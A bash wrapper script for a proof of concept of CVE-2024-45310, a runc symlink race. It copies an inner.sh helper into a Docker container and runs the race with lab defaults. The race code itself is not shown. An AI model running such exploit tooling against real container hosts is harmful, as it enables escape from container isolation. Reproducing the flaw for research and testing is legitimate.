#!/usr/bin/env bash
# Orchestrator for CVE-2024-45310 PoC. Runs on the OUTER host.
# Copies inner.sh into the inner-host container and executes the symlink race.
#
# Args (all have defaults matching environment.md):
#   $1 = CONTAINER    docker container name   (default: cve-2024-45310-innerhost)
#   $2 = SHARE        race surface inside     (default: /srv/share-backing)
#   $3 = HOST_TARGET  host target dir inside  (default: /host-target)
#   $4 = LEAF         leaf dir name           (default: gift)
#   $5 = ITERS        max runc iterations     (default: 6000)
set -euo pipefail

CONTAINER="${1:-cve-2024-45310-innerhost}"
SHARE="${2:-/srv/share-backing}"
HOST_TARGET="${3:-/host-target}"
LEAF="${4:-gift}"
ITERS="${5:-6000}"

HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"

docker cp "$HERE/inner.sh" "$CONTAINER:/tmp/inner.sh"
docker exec "$CONTAINER" sh /tmp/inner.sh "$SHARE" "$HOST_TARGET" "$LEAF" "$ITERS"
